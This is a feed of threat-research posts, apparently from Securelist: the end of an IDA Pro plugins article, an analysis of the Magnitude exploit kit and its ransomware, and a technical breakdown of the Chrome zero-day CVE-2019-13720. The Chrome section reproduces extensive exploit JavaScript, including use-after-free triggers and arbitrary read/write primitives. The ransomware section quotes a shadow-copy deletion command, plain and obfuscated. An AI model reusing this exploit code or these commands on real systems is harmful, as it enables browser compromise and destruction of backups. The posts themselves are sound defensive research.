I achieved exactly what I wanted, but I still wasn’t completely satisfied. The problem with this approach is that it is only going to work with x86/64, but what about ARM, MIPS, etc.? I needed a CPU-agnostic solution. Thankfully, it was quite easy to implement. Each processor module has a special exported structure (processor_t) called LPH. This structure has an instruc field that is a pointer to an array of processor instructions. Each instruction in this table is represented by an instruction mnemonic and a combination of its features. These features include what operand it modifies (CF_CHGX), which operand it uses (CF_USEX), whether it halts execution (CF_STOP), makes a jump to another location (CF_JUMP) or calls another procedure (CF_CALL). It means that at plugin start we can parse the list of instructions from the loaded processor module, find all the instructions that have the CF_CALL feature and use them later in comparison. You can see the results below.

As long as the processor module fills the instruc table properly, my plugin should work fine. So far, I’ve only encountered problems with PowerPC, because in this particular case all necessary instructions like “bl” and “bctrl” are missing in the instruc table. But it’s still possible to create workarounds for them.

Download link

Identification of known functions

Identification of known functions is a huge reverse engineering problem. The two scenarios below are likely to be familiar to you:

  • You are reverse-engineering a binary without debug symbols that is statically linked with a known library and you want to automatically rename all functions from this library in your IDA Pro database file.
  • You’ve spent some time reverse engineering a binary without debug symbols, but a new version of the binary appears and you want to port all your renamed functions to a new IDA Pro database file.

To address the first issue, Hex-Rays, the company behind IDA Pro, has come up with a technology for storing and applying signatures for library function identification. This technology is called FLIRT. It makes it possible to use a special utility to preprocesses *.obj and *.lib files, produce the file *.pat with the function patterns and other necessary data and then convert it into the signature file *.sig. In the end you get a signature file for a specific library that you can put into the “sig\<arch>” folder inside the IDA Pro directory and apply it to your IDA Pro database from the “View -> Open subviews -> Signatures” window. If the functions in a library match those functions present in your IDA Pro database byte to byte, then they will be recognized and renamed properly.

While the previously described method partially solves the first issue, it doesn’t help at all with the second issue. Officially, FLIRT only provides a way to create signature files for libraries, so it can’t be used to transfer knowledge from one IDA Pro database to another. After many years, this problem was finally addressed in IDA Pro 7.2. This release introduced a new technology called Lumina server. It can be used to push and retrieve metadata about functions (names, comments, etc.) present in a database. However, it doesn’t really help when you want to transfer this info from one database to another without sharing this info with the rest of the world. That’s because currently only a public Lumina server is available. It means the only way to do this is to use plugins. Thankfully, these kinds of plugins have been around for ages. IDA2PAT and IDB2SIG can be used to generate a FLIRT file from an existing IDA Pro database and then apply it to a new database just as if it was a regular signature file for a library. They are fairly easy to use and if a function is not identified in the new database, you can see straightaway that it was changed. The original IDA2PAT and IDB2SIG plugins are not maintained, so you might want to use a fork with IDA Pro 7.* support or modern IDAPython port idb2pat.py.

As was previously mentioned, the downside of FLIRT technology is that it only works when the signature closely matches the bytes of the function body. This could be a problem when, for example, you only have the source code of a library and when you try to compile it the result doesn’t really match your analyzed binary. In such cases, binary diffing comes in handy. The great feature of BinDiff and Diaphora plugins is that they can not only be used to compare functions between different binaries but also port function names and comments. You might also want to give Karta a try. It’s been developed especially for identifying library functions in a binary directly from the source code. You can read more about how it works in here.

YARA + IDA Pro = ❤

YARA is the Swiss Army knife of pattern matching. It’s probably the most beloved tool of malware researchers – and still massively underrated by everyone else. Pattern matching can be really useful in reverse engineering and YARA is the tool to use. Here are just some of the uses: look for important constants, magic values, GUIDs in your IDA Pro database and print a message, rename an address or leave a comment when a match is found. The key here is to know what you can look for with YARA and how it can improve your workflow. For example, the plugin findcrypt-yara uses YARA to find common cryptographic constants.

Below I demonstrate how you can use YARA within IDA Pro by yourself. Note that you need to install the yara-python package first.

import idaapi, idautils, idc
import yara

# rules can be compiled from a file path or as string 
rules = yara.compile(filepath=file_with_rules)

# iterate all segments present in database
for segment_start in idautils.Segments():

	segment_size = get_segm_end(segment_start) - segment_start

	# read segment data
	data = get_bytes(segment_start, segment_size)

	# scan segment data with rules
	matches = rules.match(data=data)

	# iterate all matched data
	for m in matches:
		for s in m.strings:

			offset = s[0]
			name = s[1]

			# leave a comment with pattern name at matched offset in database
			set_cmt(get_item_head(segment_start+offset), name, 0)

Let me know about your favorite IDA Pro plugins on Twitter and sign up for our upcoming ‘GReAT Ideas. Powered by SAS’ webinar to learn more about some other awesome plugins.

]]>
https://securelist.com/great-ida-pro-plugins/97898/feed/ 0 full large medium thumbnail
Magnitude exploit kit – evolution https://securelist.com/magnitude-exploit-kit-evolution/97436/ https://securelist.com/magnitude-exploit-kit-evolution/97436/#comments Wed, 24 Jun 2020 10:00:16 +0000 https://kasperskycontenthub.com/securelist/?p=97436

Exploit kits are not as widespread as they used to be. In the past, they relied on the use of already patched vulnerabilities. Newer and more secure web browsers with automatic updates simply do not allow known vulnerabilities to be exploited. It was very different back in the heyday of Adobe Flash because it’s just a plugin for a web browser, meaning that even if the user has an up-to-date browser, there’s a non-zero chance that Adobe Flash may still be vulnerable to 1-day exploits. Now that Adobe Flash is about to reach its end-of-life date at the end of this year, it is disabled by default in all web browser and has pretty much been replaced with open standards such as HTML5, WebGL, WebAssembly. The decline of exploit kits can be linked to the decline of Adobe Flash, but exploit kits have not disappeared completely. They have adapted and switched to target users of Internet Explorer without the latest security updates installed.

Microsoft Edge replaced Internet Explorer as a default web browser with the release of Windows 10 in 2015, but Internet Explorer is still installed for backward compatibility on machines running Windows 10 and it has remained a default web browser for Windows 7/8/8.1. The switch to Microsoft Edge development also meant that Internet Explorer would no longer be actively developed and would only receive vulnerability patches without general security improvements. Still, somehow, Internet Explorer remains a relatively popular web browser. According to NetMarketShare, as of April 2020 Internet Explorer is used on 5.45% of desktop computers (for comparison, Firefox accounts for 7.25%, Safari 3.94%, Edge 7.76%). Despite the security of Internet Explorer being five years behind that of its modern counterparts, it supports a number of legacy script engines. CVE-2018-8174 is a vulnerability in a legacy VBScript engine that was originally discovered in the wild as an exploited zero-day. The majority of exploit kits quickly adopted it as their primary exploit.

Since the discovery of CVE-2018-8174 a few more vulnerabilities for Internet Explorer have been discovered as in-the-wild zero-days: CVE-2018-8653, CVE-2019-1367, CVE-2019-1429, and CVE-2020-0674. All of them exploited another legacy component of Internet Explorer – a JScript engine. It felt like it was just a matter of time until exploit kits adopted these new exploits.

Exploit kits still play a role in today’s threat landscape and continue to evolve. For this blogpost I studied and analyzed the evolution of one of the most sophisticated exploit kits out there – Magnitude EK – for a whole year.

This blogpost in a nutshell:

  • Magnitude EK continues to deliver ransomware to Asia Pacific (APAC) countries via malvertising
  • Study of the exploit kit’s activity over a period of 12 months shows that Magnitude EK is actively maintained and undergoes continuous development
  • In February this year Magnitude EK switched to an exploit for the more recent vulnerability CVE-2019-1367 in Internet Explorer (originally discovered as an exploited zero-day in the wild)
  • Magnitude EK uses a previously unknown elevation of privilege exploit for CVE-2018-8641 developed by a prolific exploit writer

Introduction

Magnitude EK is one of the longest-standing exploit kits. It was on offer in underground forums from 2013 and later became a private exploit kit. As well as a change of actors, the exploit kit has switched its focus to deliver ransomware to users from specific Asia Pacific (APAC) countries via malvertising.

Active attacks by Magnitude EK in 2019 according to Kaspersky Security Network (KSN) (download)

Active attacks by Magnitude EK in 2020 according to Kaspersky Security Network (KSN) (download)

Our statistic shows that this campaign continues to target APAC countries to this day and during the year in question Magnitude EK always used its own ransomware as a final payload.

Infection vector

Like the majority of exploit kits out there, in 2019 Magnitude EK used CVE-2018-8174. However, the attackers behind Magnitude EK were one of the first to adopt the much newer vulnerability CVE-2019-1367 and they have been using it as their primary exploit since February 11, 2020. As was the case with CVE-2018-8174, they didn’t develop their own exploit for CVE-2019-1367, instead reusing the original zero-day and modifying it with their own shellcode and obfuscation.

CVE-2019-1367 is a Use-After-Free vulnerability due to a garbage collector not tracking a value that was not rooted in the legacy JavaScript engine jscript.dll. By default, Internet Explorer 11 uses Jscript9.dll, but it’s still possible to execute the script using the legacy engine by enabling compatibility mode with Internet Explorer 7/8. This can be done with the following script attributes:

<meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" />
        <script language="JScript.Compact">…</script>

        <meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" />
        <script language="JScript.Encode">…</script>

The original exploit uses JScript.Compact, a special profile defined for embedded devices. But JScript.Encode is much more interesting because it was developed by Microsoft to protect scripts and prevent source code from being copied. This script attribute can execute scripts encoded with Microsoft Script Encoder (screnc.exe) and it also disables script debugging. Basically, it’s a DRM for JavaScript. Magnitude EK changed from its original exploit to take advantage of this feature.

Exploit packed with JScript.Encode technique

Unpacked exploit. Shellcode, names and some strings are obfuscated

Shellcode

Their shellcodes piqued my interest. They use a huge number of different shellcode encoders, from the classical Metasploit shikata_ga_nai encoder and DotNetToJScript to a variety of custom encoders and stagers.

It was also impossible not to notice the changes happening to their main shellcode responsible for launching the ransomware payload. The attackers are fine-tuning their arsenal on a regular basis.

Magnitude EK has existed since at least 2013, but below you can see just the changes to payload/shellcode that occurred over the period of one year (June 2019 to June 2020). During this period we observed attacks happening almost every day.

Timeline of shellcode/payload changes

Date Description
June 2019 Shellcode downloads a payload that’s decrypted with a custom xor-based algorithm. All strings are assembled on stack and to change payload the URL shellcode needs to be recompiled. The payload is a PE module. The module export function name is hardcoded to “GrfeFVGRe”. The payload is executed in an Internet Explorer process. It contains an elevation of privilege exploit with support for x86 and x64 versions of Windows and an encrypted ransomware payload. After elevation of privilege it injects the ransomware payload to other processes, spawns the wuapp.exe process and injects there as well. If process creation fails, it also runs the ransomware from the current process.
July 20, 2019 Payload module export function name is auto-generated.
November 11, 2019 Shellcode tries to inject the payload to other processes. If API function Process32First fails, it spawns the process wuapp.exe from Windows directory and injects the payload there. The injection method is WriteProcessMemory + CreateRemoteThread.

The payload is ransomware without elevation of privilege. The payload module export function name is hardcoded again, but now to “lssrcdxhg”.

November 20, 2019 Looks like they messed up the folder with shellcodes; in some attacks they use a shellcode from June, and later the same day they start to use their November shellcode with the new hardcoded export name “by5eftgdbfgsq323”.
November 23, 2019 They start to use the elevation of privilege exploit again, but now they also check the integrity level of the process. If it’s a low integrity process, then they execute the payload with the exploit in the current process; if that’s not the case, then it’s injected into other processes. The process is no longer created from shellcode, but it’s still created from the payload. The payload module export name is hardcoded to “gv65eytervsawer2”.
January 17, 2020 It looks like the attackers had a short holiday at the beginning of the year. The shellcode remains the same, but the payload module export function name is hardcoded to “i4eg65tgq3f4”. The payload changed a bit. The name of the created process is now assembled on stack. The name of the process also changed – it no longer spawns a wuapp.exe, but instead launches the calculator calc.exe and injects the ransomware payload there.
January 27, 2020 The payload is no longer a PE module but plain shellcode. The payload consists of ransomware without elevation of privilege.
February 4, 2020 The payload is a PE module again, but once again the export name is auto-generated.
February 10, 2020 The shellcode comes with two URLs for different payloads. The shellcode checks the integrity level and depending on process integrity level, it executes the elevation of privilege payload or uses the ransomware payload straightaway. All strings and function imports in the exploit are now obfuscated. The payload does not spawn a new process, and only injects to others.
February 11, 2020 Magnitude EK starts using CVE-2019-1367 as its primary exploit. The attackers use the shellcode from January 27, 2020, but they have modified it to check for the name of a particular process. If the process exists, they don’t execute the payload from Internet Explorer. The process name is “ASDSvc” (AhnLab, Inc.).
February 17, 2020 The attackers switch to the shellcode from February 10, 2020, but the payload module export function name is hardcoded to “xs324qsawezzse”.
February 28, 2020 Shellcode encryption is removed. The payload module export function name is hardcoded to “sawd6vf3y5”.
March 1, 2020 Strings are no longer stored on stack.
March 6, 2020 Back to the shellcode from February 17, 2020.
March 10, 2020 The attackers add some functionality implemented after February 17, 2020: payload encryption is removed and strings are no longer stored on stack. The payload module export function name is still hardcoded to “xs324qsawezzse”.
March 16, 2020 Functionality added so as not to inject into a particular process (explorer.exe). The injection method is also changed to NtCreateSection + NtMapViewOfSection + RtlCreateUserThread.
April 2, 2020 The attackers add some functionality similar to that used in November 2019. They check the integrity level of a process and if it’s a low integrity process, they execute the payload from the current process. If that’s not the case, they inject it to other processes (other than explorer.exe) and at the end create a new process and inject it there as well. The created processes are C:\Program Files\Windows Media Player\wmlaunch.exe or C:\Program Files (x86)\Windows Media Player\wmlaunch.exe depending on whether it’s a WOW64 process or not.
April 4, 2020 Shellcode updated to use a new injection technique: NtQueueApcThread. The shellcode also comes with a URL for a ransomware payload without elevation of privilege. The shellcode checks the integrity level and if it’s a low integrity process, the shellcode calls ExitProcess(). Use of the hardcoded export name “xs324qsawezzse” is also stopped.
April 7, 2020 Back to the shellcode from April 2, 2020.
May 5, 2020 Previously the attackers adjusted their injection method, but now they revert back to injection via the WriteProcessMemory + CreateRemoteThread technique.
May 6, 2020 They continue to make changes to the code injection method. From now on they use NtCreateThreadEx.

 

Elevation of privilege exploit

The elevation of privilege exploit used by Magnitude EK is quite interesting. When I saw it for the first time, I wasn’t able to recognize this particular exploit. It exploited a vulnerability in the win32k kernel driver and closer analysis revealed that this particular vulnerability was fixed in December 2018. According to Microsoft, only two win32k-related elevation of privilege vulnerabilities were fixed that month – CVE-2018-8639 and CVE-2018-8641. Microsoft previously shared more information with us about CVE-2018-8639, so we can say with some certainty that the encountered exploit uses vulnerability CVE-2018-8641. The exploit has huge code similarities with another zero-day that we had found previously – CVE-2019-0859. Based on these similarities, we attribute this exploit to the prolific exploit writer known as “Volodya”, “Volodimir” or “BuggiCorp”. Volodya is famous for selling zero-day exploits to both APT groups and criminals. In the past, Volodya advertised his services at exploit(dot)in, the same underground forum where Magnitude EK was once advertised. We don’t currently know if the exploit for CVE-2018-8641 was initially used as a zero-day exploit or it was developed as a 1-day exploit through patch diffing. It’s also important to note that a public exploit for CVE-2018-8641 also exists, but it’s incorrectly designated to CVE-2018-8639 and it exploits the vulnerability in another fashion, meaning there are two completely different exploits for the same vulnerability.

Ransomware

Magnitude EK uses its own ransomware as its final payload. The ransomware comes with a temporary encryption key and list of domain names and the attackers change them frequently. Files are encrypted with the use of Microsoft CryptoAPI and the attackers use Microsoft Enhanced RSA and AES Cryptographic Provider (PROV_RSA_AES). The initialization vector (IV) is generated pseudo randomly for each file and a 0x100 byte long blob with encrypted IV is appended to the end of the file. The ransomware doesn’t encrypt the files located in common folders such as documents and settings, appdata, local settings, sample music, tor browser, etc. Before encryption, the extensions of files are checked against a hash table of allowed file extensions that contains 715 entries. A ransom note is left in each folder with encrypted files and at the end a notepad.exe process is created to display the ransom note. To hide the origin of the executed process, the ransomware uses one of two techniques: “wmic process call create” or “pcalua.exe –a … -c …”. After encryption the ransomware also attempts to delete backups of the files with the “wmic shadowcopy delete” command that is executed with a UAC-bypass.

Example of Magnitude EK ransom note

The core of the ransomware did not undergo many changes throughout the year. If we compare old samples with more recent versions, there are only a few notable changes:

  • In older versions, immediately at launch the payload gets the default UI language of the operating system using the GetSystemDefaultUILanguage API function and compares the returned value against a couple of hardcoded language IDs (e.g. zh-HK – Hong Kong S.A.R., zh-MO – Macao S.A.R., zh-CN – People’s Republic of China, zh-SG – Singapore, zh-TW – Taiwan, ko-KR – Korea, ms-BN – Brunei Darussalam, ms-MY – Malaysia). If the language ID doesn’t match, then ExitProcess() will be executed. In newer versions, the check for the language ID was removed.
  • In older versions, the ransomware deletes file backups with the command “cmd.exe /c “%SystemRoot%\system32\wbem\wmic shadowcopy delete” via UAC-bypass in eventvwr.exe. In the newer version, the command is obfuscated with caret character insertion “cmd.exe /c “%SystemRoot%\system32\wbem\wmic ^s^h^a^d^o^w^c^o^p^y^ ^d^e^l^e^t^e” and executed via UAC-bypass in CompMgmtLauncher.exe.

Conclusions

The total volume of attacks performed by exploit kits has decreased, but they still exist, are still active, and still pose a threat, and therefore need to be treated seriously. Magnitude is not the only active exploit kit and we see other exploit kits that are also switching to newer exploits for Internet Explorer. We recommend installing security updates, migrating to a newer operating system (make sure you stay up to date with Windows 10 builds) and also not using Internet Explorer as your web browser. Throughout the entire Magnitude EK campaign we have detected the use of Internet Explorer exploits with the verdict PDM:Exploit.Win32.Generic.

 

]]>
https://securelist.com/magnitude-exploit-kit-evolution/97436/feed/ 1 full large medium thumbnail
The zero-day exploits of Operation WizardOpium https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/ https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/#comments Thu, 28 May 2020 10:00:09 +0000 https://kasperskycontenthub.com/securelist/?p=97086

Back in October 2019 we detected a classic watering-hole attack on a North Korea-related news site that exploited a chain of Google Chrome and Microsoft Windows zero-days. While we’ve already published blog posts briefly describing this operation (available here and here), in this blog post we’d like to take a deep technical dive into the exploits and vulnerabilities used in this attack.

Google Chrome remote code execution exploit

In the original blog post we described the exploit loader responsible for initial validation of the target and execution of the next stage JavaScript code containing the full browser exploit. The exploit is huge because, besides code, it contains byte arrays with shellcode, a Portable Executable (PE) file and WebAssembly (WASM) module used in the later stages of exploitation. The exploit abused a vulnerability in the WebAudio OfflineAudioContext interface and was targeting two release builds of Google Chrome 76.0.3809.87 and 77.0.3865.75. However, the vulnerability was introduced long before that and much earlier releases with a WebAudio component are also vulnerable. At the time of our discovery the current version of Google Chrome was 78, and while this version was also affected, the exploit did not support it and had a number of checks to ensure that it would only be executed on affected versions to prevent crashes. After our report, the vulnerability was assigned CVE-2019-13720 and was fixed in version 78.0.3904.87 with the following commit. A use-after-free (UAF) vulnerability, it could be triggered due to a race condition between the Render and Audio threads:

if (!buffer) {
+	BaseAudioContext::GraphAutoLocker context_locker(Context());
+	MutexLocker locker(process_lock_);
 	reverb_.reset();
 	shared_buffer_ = nullptr;
 	return;

As you can see, when the audio buffer is set to null in ConvolverNode and an active buffer already exists within the Reverb object, the function SetBuffer() can destroy reverb_ and shared_buffer_ objects.

class MODULES_EXPORT ConvolverHandler final : public AudioHandler {
...
  std::unique_ptr<Reverb> reverb_;
  std::unique_ptr<SharedAudioBuffer> shared_buffer_;
...

These objects might still be in use by the Render thread because there is no proper synchronization between the two threads in the code. A patch added two missing locks (graph lock and process lock) for when the buffer is nullified.

The exploit code was obfuscated, but we were able to fully reverse engineer it and reveal all the small details. By looking at the code, we can see the author of the exploit has excellent knowledge of the internals of specific Google Chrome components, especially the PartitionAlloc memory allocator. This can clearly be seen from the snippets of reverse engineered code below. These functions are used in the exploit to retrieve useful information from internal structures of the allocator, including: SuperPage address, PartitionPage address by index inside the SuperPage, the index of the used PartitionPage and the address of PartitionPage metadata. All constants are taken from partition_alloc_constants.h:

function getSuperPageBase(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let superPageBaseMask = ~superPageOffsetMask;
	let superPageBase = addr & superPageBaseMask;
	return superPageBase;
}
 
function getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {
	let superPageBase = getSuperPageBase(addr);
	let partitionPageBase = partitionPageIndex << BigInt(14);
	let finalAddr = superPageBase + partitionPageBase;
	return finalAddr;
}
 
function getPartitionPageIndex(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
	return partitionPageIndex;
}
 
function getMetadataAreaBaseFromPartitionSuperPage(addr) {
	let superPageBase = getSuperPageBase(addr);
	let systemPageSize = BigInt(0x1000);
	return superPageBase + systemPageSize;
}
 
function getPartitionPageMetadataArea(addr) {
	let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
	let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
	let pageMetadataSize = BigInt(0x20);
	let partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex * pageMetadataSize;
	return partitionPageMetadataPtr;
}

It’s interesting that the exploit also uses the relatively new built-in BigInt class to handle 64-bit values; authors usually use their own primitives in exploits.

At first, the code initiates OfflineAudioContext and creates a huge number of IIRFilterNode objects that are initialized via two float arrays.

let gcPreventer = [];
let iirFilters = [];
 
function initialSetup() {
	let audioCtx = new OfflineAudioContext(1, 20, 3000);
 
	let feedForward = new Float64Array(2);
	let feedback = new Float64Array(1);
 
	feedback[0] = 1;
	feedForward[0] = 0;
	feedForward[1] = -1;
 
	for (let i = 0; i < 256; i++)
        iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));
}

After that, the exploit begins the initial stage of exploitation and tries to trigger a UAF bug. For that to work the exploit creates the objects that are needed for the Reverb component. It creates another huge OfflineAudioContext object and two ConvolverNode objects – ScriptProcessorNode to start audio processing and AudioBuffer for the audio channel.

async function triggerUaF(doneCb) {
	let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);
	let bufferSource = audioCtx.createBufferSource();
	let convolver = audioCtx.createConvolver();
	let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);
	let channelBuffer = audioCtx.createBuffer(1, 1, 48000);
 
	convolver.buffer = channelBuffer;
	bufferSource.buffer = channelBuffer;
 
	bufferSource.loop = true;
	bufferSource.loopStart = 0;
	bufferSource.loopEnd = 1;
 
	channelBuffer.getChannelData(0).fill(0);
 
	bufferSource.connect(convolver);
	convolver.connect(scriptNode);
	scriptNode.connect(audioCtx.destination);
 
	bufferSource.start();
 
	let finished = false;
 
	scriptNode.onaudioprocess = function(evt) {
    		let channelDataArray = new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);
 
    		for (let j = 0; j < channelDataArray.length; j++) {
        		if (j + 1 < channelDataArray.length && channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {
            			let u64Array = new BigUint64Array(1);
            			let u32Array = new Uint32Array(u64Array.buffer);
            			u32Array[0] = channelDataArray[j + 0];
            			u32Array[1] = channelDataArray[j + 1];
 
            			let leakedAddr = byteSwapBigInt(u64Array[0]);
            			if (leakedAddr >> BigInt(32) > BigInt(0x8000))
                			leakedAddr -= BigInt(0x800000000000);
             			let superPageBase = getSuperPageBase(leakedAddr);
 
	             		if (superPageBase > BigInt(0xFFFFFFFF) && superPageBase < BigInt(0xFFFFFFFFFFFF)) {
                			finished = true;
                			evt = null;
 
                			bufferSource.disconnect();
                			scriptNode.disconnect();
                			convolver.disconnect();
 
                			setTimeout(function() {
                     			doneCb(leakedAddr);
                			}, 1);
 
                			return;
            			}
        		}
    		}
	};
 
	audioCtx.startRendering().then(function(buffer) {
    		buffer = null;
 
    		if (!finished) {
        	 	finished = true;
       	  	triggerUaF(doneCb);
    		}
	});
 
	while (!finished) {
    		convolver.buffer = null;
    		convolver.buffer = channelBuffer;
    		await later(100); // wait 100 millseconds
	}
};

This function is executed recursively. It fills the audio channel buffer with zeros, starts rendering offline and at the same time runs a loop that nullifies and resets the channel buffer of the ConvolverNode object and tries to trigger a bug. The exploit uses the later() function to simulate the Sleep function, suspend the current thread and let the Render and Audio threads finish execution right on time:

function later(delay) {
	return new Promise(resolve => setTimeout(resolve, delay));
}

During execution the exploit checks if the audio channel buffer contains any data that differs from the previously set zeroes. The existence of such data would mean the UAF was triggered successfully and at this stage the audio channel buffer should contain a leaked pointer.

The PartitionAlloc memory allocator has a special exploit mitigation that works as follows: when the memory region is freed, it byteswaps the address of the pointer and after that the byteswapped address is added to the FreeList structure. This complicates exploitation because the attempt to dereference such a pointer will crash the process. To bypass this technique the exploit uses the following primitive that simply swaps the pointer back:

function byteSwapBigInt(x) {
	let result = BigInt(0);
	let tmp = x;
 
	for (let i = 0; i < 8; i++) {
    		result = result << BigInt(8);
    		result += tmp & BigInt(0xFF);
    		tmp = tmp >> BigInt(8);
	}
 
	return result;
}

The exploit uses the leaked pointer to get the address of the SuperPage structure and verifies it. If everything goes to plan, then it should be a raw pointer to a temporary_buffer_ object of the ReverbConvolverStage class that is passed to the callback function initialUAFCallback.

let sharedAudioCtx;
let iirFilterFeedforwardAllocationPtr;
 
function initialUAFCallback(addr) {
	sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);
 
	let partitionPageIndexDelta = undefined;
	switch (majorVersion) {
    		case 77: // 77.0.3865.75
        	 	partitionPageIndexDelta = BigInt(-26);
        	break;
    		case 76: // 76.0.3809.87
         		partitionPageIndexDelta = BigInt(-25);
      	   	break;
	}
 
	iirFilterFeedforwardAllocationPtr = getPartitionPageBaseWithinSuperPage(addr, getPartitionPageIndex(addr) + partitionPageIndexDelta) + BigInt(0xFF0);
 
    triggerSecondUAF(byteSwapBigInt(iirFilterFeedforwardAllocationPtr), finalUAFCallback);
}

The exploit uses the leaked pointer to get the address of the raw pointer to the feedforward_ array with the AudioArray<double> type that is present in the IIRProcessor object created with IIRFilterNode. This array should be located in the same SuperPage, but in different versions of Chrome this object is created in different PartitionPages and there is a special code inside initialUAFCallback to handle that.

The vulnerability is actually triggered not once but twice. After the address of the right object is acquired, the vulnerability is exploited again. This time the exploit uses two AudioBuffer objects of different sizes, and the previously retrieved address is sprayed inside the larger AudioBuffer. This function also executes recursively.

let floatArray = new Float32Array(10);
let audioBufferArray1 = [];
let audioBufferArray2 = [];
let imageDataArray = [];
 
async function triggerSecondUAF(addr, doneCb) {
	let counter = 0;
	let numChannels = 1;
 
	let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);
 
	let bufferSource = audioCtx.createBufferSource();
	let convolver = audioCtx.createConvolver();
 
	let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);
	let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);
 
	smallAudioBuffer.getChannelData(0).fill(0);
 
	for (let i = 0; i < numChannels; i++) {
    		let channelDataArray = new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);
    		channelDataArray[0] = addr;
	}
 
	bufferSource.buffer = bigAudioBuffer;
	convolver.buffer = smallAudioBuffer;
 
	bufferSource.loop = true;
	bufferSource.loopStart = 0;
	bufferSource.loopEnd = 1;
 
	bufferSource.connect(convolver);
	convolver.connect(audioCtx.destination);
 
	bufferSource.start();
 
	let finished = false;
 
     	audioCtx.startRendering().then(function(buffer) {
     		buffer = null;
 
    		if (finished) {
        		audioCtx = null;
 
        		setTimeout(doneCb, 200);
        		return;
    		} else {
        		finished = true;
 
        		setTimeout(function() {
             		triggerSecondUAF(addr, doneCb);
        		}, 1);
    		}
	});
 
	while (!finished) {
    		counter++;
 
    		convolver.buffer = null;
 
    		await later(1); // wait 1 millisecond
 
    		if (finished)
         		break;
 
    		for (let i = 0; i < iirFilters.length; i++) {
        		floatArray.fill(0);
          	   iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
 
         		if (floatArray[0] != 3.1415927410125732) {
             			finished = true;
 
             	     		audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
                 		audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
 
            			bufferSource.disconnect();
            			convolver.disconnect();
 
            			return;
        		}
    		}
 
    		convolver.buffer = smallAudioBuffer;
 
    		await later(1); // wait 1 millisecond
	}
}

This time the exploit uses the function getFrequencyResponse() to check if exploitation was successful. The function creates an array of frequencies that is filled with a Nyquist filter and the source array for the operation is filled with zeroes.

void IIRDSPKernel::GetFrequencyResponse(int n_frequencies,
                                    	const float* frequency_hz,
                                    	float* mag_response,
                                    	float* phase_response) {
...
  Vector<float> frequency(n_frequencies);
  double nyquist = this->Nyquist();
  // Convert from frequency in Hz to normalized frequency (0 -> 1),
  // with 1 equal to the Nyquist frequency.
  for (int k = 0; k < n_frequencies; ++k)
	frequency[k] = frequency_hz[k] / nyquist;
...

If the resulting array contains a value other than π, it means exploitation was successful. If that’s the case, the exploit stops its recursion and executes the function finalUAFCallback to allocate the audio channel buffer again and reclaim the previously freed memory. This function also repairs the heap to prevent possible crashes by allocating various objects of different sizes and performing defragmentation of the heap. The exploit also creates BigUint64Array, which is used later to create an arbitrary read/write primitive.

async function finalUAFCallback() {
	for (let i = 0; i < 256; i++) {
    		floatArray.fill(0);
 
         	iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
 
    		if (floatArray[0] != 3.1415927410125732) {
        		await collectGargabe();
 
        		audioBufferArray2 = [];
 
        		for (let j = 0; j < 80; j++)
                 		audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));
 
        		iirFilters = new Array(1);
    	     		await collectGargabe();
 
        		for (let j = 0; j < 336; j++)
            			imageDataArray.push(new ImageData(1, 2));
        		imageDataArray = new Array(10);
        		await collectGargabe();
 
        		for (let j = 0; j < audioBufferArray1.length; j++) {
            			let auxArray = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
            			if (auxArray[0] != BigInt(0)) {
                			kickPayload(auxArray);
                			return;
            			}
             		}
 
        		return;
    		}
	}
}

Heap defragmentation is performed with multiple calls to the improvised collectGarbage function that creates a huge ArrayBuffer in a loop.

function collectGargabe() {
	let promise = new Promise(function(cb) {
    		let arg;
    		for (let i = 0; i < 400; i++)
        		new ArrayBuffer(1024 * 1024 * 60).buffer;
    		cb(arg);
	});
	return promise;
}

After those steps, the exploit executes the function kickPayload() passing the previously created BigUint64Array containing the raw pointer address of the previously freed AudioArray’s data.

async function kickPayload(auxArray) {
	let audioCtx = new OfflineAudioContext(1, 1, 3000);
	let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));
	auxArray[0] = byteSwapBigInt(partitionPagePtr);
	let i = 0;
	do {
    		gcPreventer.push(new ArrayBuffer(8));
    		if (++i > 0x100000)
        		return;
	} while (auxArray[0] != BigInt(0));
	let freelist = new BigUint64Array(new ArrayBuffer(8));
	gcPreventer.push(freelist);
	...

The exploit manipulates the PartitionPage metadata of the freed object to achieve the following behavior. If the address of another object is written in BigUint64Array at index zero and if a new 8-byte object is created and the value located at index 0 is read back, then a value located at the previously set address will be read. If something is written at index 0 at this stage, then this value will be written to the previously set address instead.

function read64(rwHelper, addr) {
	rwHelper[0] = addr;
	var tmp = new BigUint64Array;
	tmp.buffer;
	gcPreventer.push(tmp);
	return byteSwapBigInt(rwHelper[0]);
}
 
function write64(rwHelper, addr, value) {
	rwHelper[0] = addr;
	var tmp = new BigUint64Array(1);
	tmp.buffer;
	tmp[0] = value;
	gcPreventer.push(tmp);
}

